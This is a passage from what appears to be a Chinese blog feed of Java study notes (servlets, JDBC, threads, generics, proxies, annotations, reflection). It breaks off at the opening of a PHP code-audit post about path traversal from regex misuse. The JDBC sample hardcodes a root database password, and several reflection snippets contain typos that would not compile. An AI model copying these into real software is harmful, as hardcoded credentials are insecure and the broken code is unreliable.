&lt;h2&gt;Hello World!&lt;/h2&gt;


&lt;h1&gt;当前有&lt;span&gt;&lt;%=this.getServletConfig().getServletContext().getAttribute("OnlineCount")%&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<ul>
<li>OnlineCount</li>
</ul>
<pre><code class="language-java line-numbers">@Override
    public void sessionCreated(HttpSessionEvent httpSessionEvent) {
        ServletContext ctx = httpSessionEvent.getSession ().getServletContext ();
        Integer onlineCount = (Integer)ctx.getAttribute ("OnlineCount");

        if(onlineCount==null){
            onlineCount=new Integer (1);
        }else {
            int count= onlineCount.intValue ();
            onlineCount = new Integer (count+1);
        }
        ctx.setAttribute ("OnlineCount",onlineCount);
    }

    //销毁session监听
    @Override
    public void sessionDestroyed(HttpSessionEvent httpSessionEvent) {
        ServletContext ctx = httpSessionEvent.getSession ().getServletContext ();
        Integer onlineCount = (Integer)ctx.getAttribute ("OnlineCount");

        if(onlineCount==null){
            onlineCount=new Integer (0);
        }else {
            int count= onlineCount.intValue ();
            onlineCount = new Integer (count-1);
            httpSessionEvent.getSession ().invalidate ();
        }
        ctx.setAttribute ("OnlineCount",onlineCount);
    }

</code></pre>
<ul>
<li>注册监听器</li>
</ul>
<pre data-language=XML><code class="language-markup line-numbers">&lt;listener&gt;
    &lt;listener-class&gt;OnlineCount&lt;/listener-class&gt;
&lt;/listener&gt;
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201011114449.png" alt="" /></p>
<h2>JDBC(Java fatabase connect)</h2>
<h3>JDBC</h3>
<pre><code class="language-java line-numbers">package com.jdbc4;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.sql.Timestamp;
import java.util.Date;

public class TestUpdate {

  /**
   * @param args
   */
  public static void main(String[] args) {
    Connection conn=null;
    try {
      Class.forName("com.mysql.jdbc.Driver");
      //建立连接  ctrl+shfit +o
      conn=DriverManager.getConnection("jdbc:mysql://localhost/test?useUnicode=true&amp;characterEncoding=utf-8", "root", "19810109");
      String sql="update book set title=?,price=?,birth=?,publish_date=?,update_date=? where id=?";
      //预编译
      PreparedStatement pstmt=conn.prepareStatement(sql);
      pstmt.setString(1, "四集");
      pstmt.setFloat(2, 50.55f);
      pstmt.setDate(3, new java.sql.Date(new Date().getTime()));
      pstmt.setTimestamp(4, new Timestamp(new Date().getTime()));
      pstmt.setTimestamp(5, new Timestamp(new Date().getTime()));
      pstmt.setInt(6, 1);

      //执行
      pstmt.executeUpdate();
    } catch (Exception e) {
      e.printStackTrace();
    }
    finally
    {
      try {
        conn.close();
      } catch (SQLException e) {
        e.printStackTrace();
      }
    }
  }

}

</code></pre>
<h3>JDBC事务</h3>
<pre><code class="language-java line-numbers">connection.setAutoCommit(false) 开启事务
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java学习入门之多线程</title>
		<link>/code/1962.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Sun, 11 Oct 2020 07:30:13 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1962</guid>

					<description><![CDATA[Java多线程 继承Thread类 public class Threadtest extends Thread { /** * * 多线程学习 * **/ @Override p...]]></description>
										<content:encoded><![CDATA[<h1>Java多线程</h1>
<ul>
<li>继承Thread类</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest extends Thread {

    /**
     *
     * 多线程学习
     * **/
    @Override
    public void run(){
        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在看代码--");
        }
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();

        test.start();
        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在学习多线程--");
        }
    }
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907110727.png" alt="" /></p>
<ul>
<li>实现Runnable接口</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {

    /**
     *
     * 多线程学习
     * **/
    @Override
    public void run(){
        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在看代码--");
        }
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();

        new Thread(test).start();

        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在学习多线程--");
        }
    }


}

</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907113426.png" alt="" /></p>
<ul>
<li>龟兔赛跑</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {

    /**
     *
     * 龟兔赛跑
     * **/

    private static String winner;

    @Override
    public void run(){
        for (int i = 0; i &lt;= 100; i++) {
            if(Thread.currentThread().getName().equals("兔子")&amp;&amp; 1%10 ==0){
                try{
                    Thread.sleep(10);
                }catch (InterruptedException e){
                    e.printStackTrace();
                }
            }

            boolean flag = gameover(i);

            if ((flag)) {
                break;
            }

            System.out.println(Thread.currentThread().getName()+"跑了"+i+"步");
        }
    }

    private boolean gameover(int steps){
        if(winner!=null){
            return true;
        }{
            if(steps&gt;=100){
                winner = Thread.currentThread().getName();
                System.out.println("winner is"+winner);
            }
        }

        return false;
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();
        new Thread(test,"兔子").start();
        new Thread(test,"乌龟").start();
    }


}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907160554.png" alt="" /></p>
<ul>
<li>线程停止（建议使用标志位）</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {

    /**
     *
     * 龟兔赛跑
     * **/

    private boolean flag = true;

    @Override
    public void run(){
        int i =0;
        while (flag){
            System.out.println("run...Thread"+i++);
        }
    }

    public void stop(){
        this.flag = false;
    }


    public static void main(String[] args) {
        Threadtest test = new Threadtest();
        new Thread(test).start();

        for (int i = 0; i &lt; 1000; i++) {
            System.out.println("main"+i);

            if(i==900) {
                test.stop();
                System.out.println("子线程停止");
            }
        }
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907171634.png" alt="" /></p>
<ul>
<li>线程休眠</li>
</ul>
<pre><code class="language-java line-numbers">Thread.sleep(1000)
</code></pre>
<ul>
<li>线程礼让（yield）</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {


    private boolean flag = true;

    @Override
    public void run(){
        System.out.println(Thread.currentThread().getName()+"线程开始执行");
        Thread.yield();
        System.out.println(Thread.currentThread().getName()+"线程停止执行");
    }

    public static void main(String[] args) {
        Threadtest test = new Threadtest();

        new Thread(test,"a").start();
        new Thread(test,"b").start();
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907174748.png" alt="" /></p>
<ul>
<li>线程强制执行(join)</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {


    @Override
    public void run(){
        for (int i = 0; i &lt; 1000; i++) {
            System.out.println("线程vipl来了"+i);
        }
    }

    public static void main(String[] args) throws InterruptedException{

        Threadtest test = new Threadtest();
        Thread thread = new Thread(test);
        thread.start();

        for (int q = 0; q &lt; 500; q++) {
            if(q==200){
                thread.join();
            }
            System.out.println("main"+q);
        }
    }

}

</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907191302.png" alt="" /></p>
<ul>
<li>线程优先级</li>
</ul>
<p><strong>优先级只是意味着获得调度的概率低，并不是优先级低就不会被调用，顺序也是概率高，顺序可能也是不同的，全看CPU的调度</strong></p>
<pre><code class="language-java line-numbers">public class Threadtest {


    public static void main(String[] args) throws InterruptedException{

        //主线程默认优先级
        System.out.println(Thread.currentThread().getName()+"----&gt;"+Thread.currentThread().getPriority());

        MyPriority MyPriority = new MyPriority();

        Thread t1= new Thread(MyPriority);
        Thread t2= new Thread(MyPriority);
        Thread t3= new Thread(MyPriority);

        //设置优先级

        t1.start();
        t2.setPriority(6);
        t2.start();
        t3.setPriority(Thread.MAX_PRIORITY);
        t3.start();
    }

}

class MyPriority implements Runnable{

    @Override
    public void run(){
        System.out.println(Thread.currentThread().getName()+"----&gt;"+Thread.currentThread().getPriority());
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907194216.png" alt="" /></p>
<ul>
<li>守护线程</li>
</ul>
<pre><code class="language-java line-numbers">public class TestDaemon {

    /**
     * 测试守护线程
     * **/

    public static void main(String[] args) throws InterruptedException{

        god god = new god();
        Y4er Y4er = new Y4er();

         Thread thread = new Thread(god);
        thread.setDaemon(true);
        thread.start();

        new Thread(Y4er).start();

    }

}


class god implements Runnable{

    @Override
    public void run(){
        while (true){
            System.out.println("上帝保佑着你");
        }
    }
}
class Y4er implements Runnable{

    @Override
    public void run(){
        for (int i = 0; i &lt; 36500; i++) {
            System.out.println("开心的活着");
        }

        System.out.println("Googbyg world");
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907195704.png" alt="" /></p>
<ul>
<li>线程同步</li>
</ul>
<p><strong>锁机制</strong></p>
<pre><code class="line-numbers">synchronized(放置于资源竞争处)
</code></pre>
<p><strong>同步方法</strong></p>
<pre><code class="line-numbers">private synchronized void buy(){xx}
</code></pre>
<p><strong>同步块</strong></p>
<pre><code class="language-java line-numbers">synchronized(Obj){}
</code></pre>
<ul>
<li>死锁</li>
</ul>
<pre><code class="language-java line-numbers">public class DeadLock {

    public static void main(String[] args) {

        Makeup g1= new Makeup(0,"灰姑娘");
        Makeup g2= new Makeup(1,"白雪公主");
        g1.start();
        g2.start();
    }
}

//口红
class LipStick{}

//镜子

class Mirror{}

class Makeup extends Thread{

    static LipStick lipStick = new LipStick();
    static Mirror mirror = new Mirror();

    int choice;
    String girlName;

    Makeup(int choice,String girlName){
        this.choice = choice;
        this.girlName = girlName;
    }

    @Override
    public void run() {
        try {
            makeup();
        }catch (InterruptedException e){
            e.printStackTrace();
        }
    }

    private void makeup() throws InterruptedException{
        if(choice==0){
            synchronized (lipStick){
                System.out.println(this.girlName+"获得口红的🔒");
                Thread.sleep(1000);
                synchronized(mirror){
                    System.out.println(this.girlName+"获得镜子的🔒");
                }

            }
        }else {
            synchronized (mirror){
                System.out.println(this.girlName+"获得口红的🔒");
                Thread.sleep(1000);
                synchronized(lipStick){
                    System.out.println(this.girlName+"获得镜子的🔒");
                }

            }
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908104512.png" alt="" /></p>
<ul>
<li>Lock锁</li>
</ul>
<pre><code class="language-java line-numbers">import java.util.concurrent.locks.ReentrantLock;

public class TestLock {

    public static void main(String[] args) {
        TestLock2 test = new TestLock2();
        new Thread(test).start();
        new Thread(test).start();
        new Thread(test).start();

    }
}


class TestLock2 implements Runnable{


    int ticketNums = 10;

    private final ReentrantLock lock = new ReentrantLock();

    @Override
    public void run() {
        while(true){
            try{
                lock.lock();

                if(ticketNums&gt;0){
                    try{
                        Thread.sleep(1000);
                    }catch (InterruptedException e){
                        e.printStackTrace();
                    }
                    System.out.println(ticketNums--);
                }else {
                    break;
                }
            }finally {
                lock.unlock();
            }
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908113804.png" alt="" /></p>
<h2>线程协作（生产者与消费者问题）</h2>
<p><img src="/wp-content/uploads/2020/10/20200908114642.png" alt="" /></p>
<h3>管程法</h3>
<pre><code class="language-java line-numbers">/**
 *
 *测试生产者消费者模型-》利用缓冲区解决：管程法
**/

//生产者，消费者，产品，缓冲区
public class TestPC {

    public static void main(String[] args) {
        SynContainer container = new SynContainer();

        new Productor(container).start();
        new Consumer(container).start();
    }
}


//生产者

class Productor extends Thread{

    SynContainer container;
    public Productor(SynContainer container){
        this.container = container;
    }

    //生产


    @Override
    public void run() {
        for (int i = 0; i &lt; 100; i++) {
            System.out.println("生产了"+i+"只鸡");
            container.push(new Chicken(i));
        }
    }
}


//消费者
class Consumer extends Thread{
    SynContainer container;

    public Consumer(SynContainer container){
        this.container = container;
    }

    //消费


    @Override
    public void run() {
        for (int i = 0; i &lt; 100; i++) {
            System.out.println("消费了第"+container.pop().id+"只鸡");
        }
    }
}

//产品

class Chicken{
    int id; //产品编号

    public Chicken(int id) {
        this.id = id;
    }
}

//缓冲区

class SynContainer{

    //需要一个容器大小

    Chicken[] chickens = new Chicken[10];

    //容器计数器

    int count = 0;
    //生产者放入产品

    public synchronized void push(Chicken chicken){

        //如果容器满了，就需要等待消费者消费
        if(count==chickens.length){
            //通知消费者消费，生产等待

            try{
                this.wait();
            }catch (InterruptedException e ){
                e.printStackTrace();
            }
        }
        //荣国没有满，就需要丢入产品
        chickens[count]=chicken;
        count++;

        //可以通知消费者消费了

        this.notifyAll();
    }

    //消费者消费产品

    public synchronized Chicken pop(){
        //判断能否消费

        if(count==0){
            //等待生产者生产，消费者等待
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();
            }

        }

        //如果可以消费
        count--;
        Chicken chicken = chickens[count];

        //吃完了，通知生产者生产
        this.notifyAll();
        return chicken;
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908123759.png" alt="" /></p>
<h3>信号灯法(设置标志位)</h3>
<pre><code class="language-java line-numbers">public class TestPc2 {

    public static void main(String[] args) {

        TV tv = new TV();

        new Player(tv).start();
        new Watcher(tv).start();
    }
}


//生产者-〉演员

class Player extends Thread{
    TV tv;
    public Player(TV tv){
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i &lt; 20; i++) {
            if(i%2==0){
                this.tv.play("快乐大本营");
            }else {
                this.tv.play("抖音，记录美好生活");

            }        }
    }
}

//消费者-〉观看

class Watcher extends Thread{
    TV tv;
    public Watcher(TV tv){
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i &lt; 20; i++) {
            tv.watch();
        }
    }
}

//产品-&gt;节目

class TV{
    //演员表演，观众等待
    //观众观看，演员等待

    String voice;
    boolean flag = true;

    //表演

    public synchronized void play(String voice){

        if(!flag){
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();

            }
        }        System.out.println("演员表演了:"+voice);

        this.notifyAll();
        this.voice = voice;
        this.flag = !this.flag;
    }

    //观看


    public synchronized void watch(){

        if(flag){
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();
            }
        }

        System.out.println("观看了"+voice);

        //通知演员表演

        this.notifyAll();
        this.flag = !this.flag;

    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908131618.png" alt="" /></p>
<h2>线程池</h2>
<pre><code class="language-java line-numbers">import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * 测试线程池
 * **/
public class TestPool {
    public static void main(String[] args) {
        ExecutorService service = Executors.newFixedThreadPool(10);

        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());

    }

}


class MyThread implements Runnable{

    @Override
    public void run() {
        for (int i = 0; i &lt; 100; i++) {
            System.out.println(Thread.currentThread().getName()+i);
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908133136.png" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java学习入门之JavaSe泛型、代理、注解与反射</title>
		<link>/code/1940.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Sun, 11 Oct 2020 07:26:27 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1940</guid>

					<description><![CDATA[泛型 泛型，参数化类型，分为泛型类、接口、方法 泛型类 class 类名称 &#60;泛型标识&#62; { private 泛型标识 var; ... } 泛型接口 public c...]]></description>
										<content:encoded><![CDATA[<h2>泛型</h2>
<ul>
<li>泛型，参数化类型，分为泛型类、接口、方法</li>
</ul>
<h3>泛型类</h3>
<pre><code class="line-numbers">class 类名称 &lt;泛型标识&gt; {
    private 泛型标识 var;
    ...
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200829221407.png" alt="" /></p>
<h3>泛型接口</h3>
<pre><code class="line-numbers">public class chabug {
    public static void main(String[] args) {
        new testa().next();
    }

}

interface test&lt;T&gt;{
    public T next();
}

class testa implements test&lt;String&gt;{
    private String[] b  = new String[]{"a","b","c","d"};
    @Override
    public String next(){
        Random rand = new Random();
        System.out.println(b[rand.nextInt(3)]);
        return null;
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200829222427.png" alt="" /></p>
<h3>泛型方法</h3>
<pre><code class="line-numbers">public class chabug {
    public static void main(String[] args) {
        out("28");
        out("永远滴神");
    }

    public static &lt;T&gt; void out(T t) {
        System.out.println(t);
    }
}

</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830124017.png" alt="" /></p>
<h3>泛型通配符</h3>
<pre><code class="line-numbers">public void showKeyValue1(Generic&lt;?&gt; obj){
    Log.d("泛型测试","key value is " + obj.getKey());
}
</code></pre>
<h3>泛型上下边界</h3>
<ul>
<li>在使用泛型的时候，我们还可以为传入的泛型类型实参进行上下边界的限制，如：类型实参只准传入某种类型的父类或某种类型的子类。为泛型添加上边界，即传入的类型实参必须是指定类型的子类型,泛型的上下边界添加，必须与泛型的声明在一起.</p>
</li>
<li>
<p>常规例子（会提示类型无法转换）</p>
</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200829231117.png" alt="" /></p>
<ul>
<li>使用上下边界</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200829231228.png" alt="" /></p>
<ul>
<li>疑惑</li>
</ul>
<pre><code class="line-numbers">GenericHolder&lt;Fruit&gt; fruitHolder = new GenericHolder&lt;Fruit&gt;()
</code></pre>
<p>为何意思</p>
<p>解决：</p>
<pre><code class="line-numbers">Fruit fruit = new Fruit("水果");
fruitHolder.setObj(fruit)
</code></pre>
<p><strong>先实例化再传入对象，参考如下：</strong></p>
<p><a class="wp-editor-md-post-content-link" href="https://www.imooc.com/article/26009">Java泛型再探——泛型通配符及上下边界</a></p>
<h3>泛型数组</h3>
<ul>
<li>不可以</li>
</ul>
<pre><code class="line-numbers">List&lt;String&gt;[] ls = new ArrayList&lt;String&gt;[10];  
</code></pre>
<ul>
<li>可以</li>
</ul>
<pre><code class="line-numbers">List&lt;?&gt;[] ls = new ArrayList&lt;?&gt;[10]; 
List&lt;String&gt;[] ls = new ArrayList[10];
</code></pre>
<h2>代理</h2>
<p><img src="/wp-content/uploads/2020/10/20200830162847.png" alt="" /></p>
<h3>静态代理</h3>
<p>抽象角色：一般会使用接口或抽象类来解决<br />
真实角色：被代理的角色<br />
代理角色：代理真实角色后，我们一般会做一些附属操作<br />
客户：访问代理对象的人</p>
<ul>
<li>抽象角色</li>
</ul>
<pre><code class="line-numbers">//接口——》租房
public interface Rent {

    public void rent();
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830165257.png" alt="" /></p>
<ul>
<li>真实角色</li>
</ul>
<pre><code class="line-numbers">//真实角色-&gt;房东
public class Host implements Rent{
    @Override
    public void rent(){
        System.out.println("房东要出租房子");
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830165318.png" alt="" /></p>
<ul>
<li>代理角色</li>
</ul>
<pre><code class="line-numbers">package ChaBugStudy;

public class Proxy implements Rent{

      private Host host;

      public Proxy(){

      }
      public Proxy(Host host){
          this.host = host;
      }

      public void rent(){
            seeHouse();
            host.rent();
            hetong();
            fare();
      }

      //看房

      public void seeHouse(){
            System.out.println("中介带你看房");
      }

      public void hetong(){
            System.out.println("签合同吧！");
      }
      //收中介费

      public void fare(){
            System.out.println("这房子不错，阔绰的你决定给点小费");
      }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830170321.png" alt="" /></p>
<ul>
<li>客户端访问代理角色</li>
</ul>
<pre><code class="line-numbers">public class Clinet {

    public static void main(String[] args) {
        Host host = new Host();
        Proxy proxy = new Proxy(host);

        proxy.rent();
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830170342.png" alt="" /></p>
<ul>
<li>运行一下看看效果</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200830170453.png" alt="" /></p>
<ul>
<li>缺点</li>
</ul>
<p><strong>一个真实对象需要产生一个代理</strong></p>
<h3>动态代理（先留着看完反射再看）</h3>
<ul>
<li>动态代理（这里是基于JDK动态代理）</li>
</ul>
<p><strong>一个动态代理类可以代理多个类，只要是实现了同一个接口</strong></p>
<ul>
<li>抽象角色</li>
</ul>
<pre><code class="line-numbers">public interface Rent {

   public void rent();
}
</code></pre>
<ul>
<li>真实角色</li>
</ul>
<pre><code class="line-numbers">public class Host implements Rent{

    public void rent(){
        System.out.println("房东要出租房子！");
    }
}
</code></pre>
<ul>
<li>代理角色</li>
</ul>
<pre><code class="line-numbers">import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Proxyhandler implements InvocationHandler {

    //被代理的接口

    Rent rent;
    public void setRent(Rent rent){
        this.rent = rent;
    }

    //生成得到代理类

    public Object getProxy(){
        return Proxy.newProxyInstance(this.getClass().getClassLoader(),rent.getClass().getInterfaces(),this);
    }

    // 处理代理实例，并返回结果

    public Object invoke(Object proxy, Method method,Object[] args) throws Throwable{
        Object result = method.invoke(rent,args);
        return result;
    }
}
</code></pre>
<ul>
<li>客户端（客户）角色</li>
</ul>
<pre><code class="line-numbers">import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class Clent {

    public static void main(String[] args) {
        //真实角色
        Host host = new Host();
        //代理角色

        Proxyhandler pih = new Proxyhandler();
        //通过调用程序处理角色来处理要调用的接口角色

        pih.setRent(host);

        Rent proxy = (Rent) pih.getProxy();

        proxy.rent();
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200902164704.png" alt="" /></p>
<h2>注解（Java.Annotation）</h2>
<ul>
<li>格式</li>
</ul>
<pre><code class="line-numbers">@注释名
</code></pre>
<ul>
<li>内置注解</li>
</ul>
<pre><code class="line-numbers">@Override
</code></pre>
<p><strong>定义在java.lang.Override中，表示重写</strong></p>
<pre><code class="line-numbers">Deprecated 
</code></pre>
<p><strong>定义在java.lang.Deprecated中，表示废弃，不鼓励使用，使用时会多一条横线，但依旧可以使用</strong></p>
<p><img src="/wp-content/uploads/2020/10/20200830182027.png" alt="" /></p>
<pre><code class="line-numbers">@SuppressWarnings 
</code></pre>
<p><strong>定义在java.lang.SuppressWarnings中，用来抑制编译时的警告信息</strong></p>
<p>使用前</p>
<p><img src="/wp-content/uploads/2020/10/20200830182927.png" alt="" /></p>
<p>使用后</p>
<p><img src="/wp-content/uploads/2020/10/20200830182950.png" alt="" /></p>
<h3>元注解</h3>
<ul>
<li>作用</li>
</ul>
<p><strong>注解其他注解</strong></p>
<ul>
<li>@Target(用于描述注解的使用范围)</li>
</ul>
<pre><code class="line-numbers">@MYAnnotation
public class ZhuJie {

    @MYAnnotation
    public static void main(String[] args) {

    }


}

//METHOD 方法、TYPE 类
@Target(value = {ElementType.METHOD,ElementType.TYPE})
@interface MYAnnotation{

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830185849.png" alt="" /></p>
<ul>
<li>@Retention(表示需要在什么级别保存该注释信息，用来描述注解的生命周期（SOURCE &lt; CLASS &lt; RUNTime）)</li>
</ul>
<pre><code class="line-numbers">@Retention(value = RetentionPolicy.RUNTIME)
</code></pre>
<ul>
<li>@Document(说明该注释将被包含在javadoc中)</li>
<li>@Inherited(说明该子类可以继承父类中的该注解)</li>
</ul>
<h3>自定义注解</h3>
<ul>
<li>@interface(自定义注解关键字)</p>
</li>
<li>
<p>格式</p>
</li>
</ul>
<pre><code class="line-numbers">public @interface 注解名{定义内容}
</code></pre>
<ul>
<li>自定义注解</li>
</ul>
<pre><code class="line-numbers">package ChaBugStudy;


import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Syst1m(Team = "ChaBUg",Founder = "Y4er",brother = "syle")
public class ZhuJie {
    @Syst1m
    public static void main(String[] args) {
        System.out.println("ChaBug.Org");
    }


}


@Target(value = {ElementType.TYPE,ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@interface Syst1m{

    String Team() default "ChaBug";
    String Founder() default "Y4er";
    String brother() default "Syle";

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830192315.png" alt="" /></p>
<h2>反射（Reflection）</h2>
<ul>
<li>正常方式</li>
</ul>
<p><strong>引入需要的“包类”名称-）通过new实例化-〉取得实例化对象</strong></p>
<ul>
<li>反射方式</li>
</ul>
<p><strong>实例化对象->getclass()方法->取得完整的“包类”名称</strong></p>
<ul>
<li>优缺点</li>
</ul>
<p>可以实现动态创建对象和编译，体现出很大的灵活性。</p>
<p>对性能有影响，慢于直接操作</p>
<ul>
<li>主要API</li>
</ul>
<pre><code class="line-numbers">java.lang.class  代表一个类
java.lang.reflect.Method  代表类的方法
java.lang.reflect.Field 代表类的成员变量
java.lang.reflect.Constructor 代表类的构造器
</code></pre>
<ul>
<li>获取class类的几种方式</li>
</ul>
<p><strong>常用方法</strong></p>
<p><img src="/wp-content/uploads/2020/10/20200901184138.png" alt="" /></p>
<pre><code class="line-numbers">package ChaBugStudy;

public class Reflection {
    public static void main(String[] args) throws ClassNotFoundException {
        Person person = new Student();

        //方式一：通过对象获得
        Class c1 = person.getClass();
        System.out.println(c1.hashCode());

        //方式二：forname获得

        Class c2 = Class.forName("ChaBugStudy.Person");
        System.out.println(c2.hashCode());

        //方式三 通过类名.class

        Class c3 = Person.class;
        System.out.println(c3.hashCode());

        //方式四 内置类型的包装类

        Class c4 = Integer.TYPE;
        System.out.println(c4.hashCode());

        //获取父类

        Class c5 = c1.getSuperclass();
        System.out.println(c5.hashCode());

    }
}

class Person{
    String name;

    public Person(){

    }

    public Person(String name){

    }

    @Override
    public String toString(){
        return name;
    }
}

class Student extends Person{
    public Student(){
        this.name = "学生";
        }
}


class Teacher extends Person{
    public Teacher(){
        this.name = "老师";
        }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200901201630.png" alt="" /></p>
<ul>
<li>哪些类型可以有Class对象</li>
</ul>
<p>**<br />
class<br />
interface接口<br />
[]数组<br />
enum枚举<br />
注解@interface<br />
基本数据类型<br />
void<br />
**</p>
<pre><code class="line-numbers">    Class c1 = Object c1 = Object.class; //类
    Class c2 = Comparable.class; //接口
    Class c3 = String[].class; //数组
    Class c4 = Override.class; //注解
    Class c5= ElementType.class; // 枚举
    Class c6 = Integer.class; // 基本数据
    Class c7 = void.class; //void
    Class c8 = Class.class; //CLass
</code></pre>
<ul>
<li>获取运行时类的完整结构</li>
</ul>
<p><strong>获取类的名字</strong></p>
<pre><code class="line-numbers">c1.getName() 获取包名加类名
c1.getSimpleName() 获得类名
</code></pre>
<p><strong>获得类的属性</strong></p>
<pre><code class="line-numbers">Field[] field = c1.getFields() 只能获取public属性
fields = c1.getDeclaredFields() 找到全部的属性
</code></pre>
<p><strong>获得指定属性的值</strong></p>
<pre><code class="line-numbers">Field name = c1.getDeclaredField("name")
</code></pre>
<p><strong>获得类的方法</strong></p>
<pre><code class="line-numbers">Method[] methods = c1.getMethods(); 获得本类以及父类的全部public方法

methods = c1.getDeclaredMethods(); 获得本类的所有方法
</code></pre>
<p><strong>获得指定方法</strong></p>
<pre><code class="line-numbers">Method getname = c1.getMethod("getname",null)
Method serName = c1.getMethod("setname",String.class)
</code></pre>
<p><strong>获得构造器</strong></p>
<pre><code class="line-numbers">Constructor[] constructors = c1.getConstructors();
for (Constructor constructor:constructors){
    System.out.println(construcior)}

constructors = c1.getDeclaredConstructors();
</code></pre>
<p><strong>获得指定构造器</strong></p>
<pre><code class="line-numbers">c1.getDeclaredConstructor(String.class,int.class)
</code></pre>
<ul>
<li>动态创建对象执行方法</li>
</ul>
<p><strong>获得对象</strong></p>
<pre><code class="line-numbers">Class c1 = Class.forname("XXX")
</code></pre>
<p><strong>构造对象</strong></p>
<pre><code class="line-numbers">User user = (User) c1.nerInstance(); 无参构造器
</code></pre>
<p>通过构造器创建对象</p>
<pre><code class="line-numbers">Constructor constructor = c1.getDeclaredConstructor(String.class)
User user2 = (USer)constructor.nerInstance("Syst1m")
</code></pre>
<p><strong>反射调用普通方法</strong></p>
<pre><code class="line-numbers">User user3 = (User)c1.nerInstance();
Method serName = c1.getDeclaredMethod("setName",Strind.class);
setName.invoke(User3,"syst1m");
</code></pre>
<p><strong>反射操作属性</strong></p>
<p>不能直接操作私有属性，需要关闭安全检测</p>
<pre><code class="line-numbers">User user4 = (User)c1.nerInstance();
Field name = c1.getDeclaredFields();

name.setAccessible(true) //关闭权限检测
name.set(User4,"syst1m");
</code></pre>
<ul>
<li>参考</li>
</ul>
<pre><code class="line-numbers">https://blog.csdn.net/lililuni/article/details/83449088
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php代码审计学习函数缺陷（二）</title>
		<link>/web/1770.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Mon, 11 May 2020 03:20:30 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1770</guid>

					<description><![CDATA[正则使用不当导致的路径穿越问题 Frost Pattern code class TokenStorage { public function performAction($act...]]></description>
										<content:encoded><![CDATA[<h2>正则使用不当导致的路径穿越问题</h2>
<h3>Frost Pattern</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class TokenStorage {
  public function performAction($action, $data) {
    switch ($action) {
      case 'create':
        $this-&gt;createToken($data);
        break;
      case 'delete':
        $this-&gt;clearToken($data);
        break;
      default:
        throw new Exception('Unknown action');
    }
  }

  public function createToken($seed) {
    $token = md5($seed);
    file_put_contents('/tmp/tokens/' . $token, '...data');
  }

